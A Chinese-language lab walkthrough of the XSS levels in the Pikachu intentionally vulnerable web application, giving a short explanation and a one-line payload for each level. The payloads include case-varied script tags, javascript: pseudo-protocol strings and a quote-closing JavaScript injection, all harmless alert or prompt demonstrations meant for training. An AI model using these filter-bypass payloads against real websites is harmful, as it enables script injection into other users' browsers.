【靶场实战】Pikachu靶场XSS跨站脚本关卡详解

Nx01 系统介绍

Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。

Nx02 XSS跨站脚本概述

Cross-Site Scripting 简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为反射性XSS、存储型XSS、DOM型XSS。XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致"精心构造"的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

Nx2.1 反射型xss(get)

非常简单常见的反射型XSS,需要注意将长度限制改一下。<ScRiPt>alert(1)</ScRiPt>

Nx2.2 反射性xss(post)

和第一关一样,区别就是POST类型的反射XSS,需要先爆破出用户名密码登陆进去,然后搜索框里直接输入payload。<ScRiPt>alert(1)</ScRiPt>

Nx2.3 存储型xss

存储型的XSS,无任何过滤,留言框里直接输入payload。<ScRiPt>alert(1)</ScRiPt>

Nx2.4 DOM型xss

将传递的值当作了标签的href属性,直接输入payload。javascript://%0aprompt(1)//

Nx2.5 DOM型xss-x

与第四关一样,使用javascript伪协议。javascript://%0aprompt(1)//

Nx2.6 xss盲打

留言框里输入payload,然后访问后台/admin.php触发XSS。<ScRiPt>alert(1)</ScRiPt>

Nx2.7 xss之过滤

稍微变换一下大小写即可绕过。<ScRiPt>alert(1)</ScRiPt>

Nx2.8 xss之htmlspecialchars

当前关卡会过滤括号,使用伪协议即可。javascript:prompt(1)//

Nx2.9 xss之href输出

继续伪协议插入XSS进行弹窗。javascript://%0aprompt(1)//

Nx2.10 xss之js输出

当前关卡考点在js上,需要闭合掉前面的js,再插入XSS。'-prompt(1)-'

相关推荐
梁下轻语的秋缘1 小时前
实验二 VLAN 的配置与应用
网络·学习·计算机网络·智能路由器
天才奇男子1 小时前
VLAN(虚拟局域网)
网络·网络协议
菜咖咖4 小时前
跨网连接vscode
网络·智能路由器
Dream Algorithm7 小时前
什么是宽带拨号?
网络·智能路由器
fanjinhong_85217 小时前
网络安全防御核心原则与实践指南
网络·安全·web安全
风格6548 小时前
IS-IS(Intermediate System-to-Intermediate System) 协议
网络·智能路由器
石兴稳8 小时前
IPSG 功能协议
网络·智能路由器
chuangfumao8 小时前
专家解读|《网络安全法》再次征求意见,增强网络立法协同
网络·安全·web安全
乐维_lwops8 小时前
CMDB平台(进阶篇):3D机房大屏全景解析
网络·3d机房·cmdb平台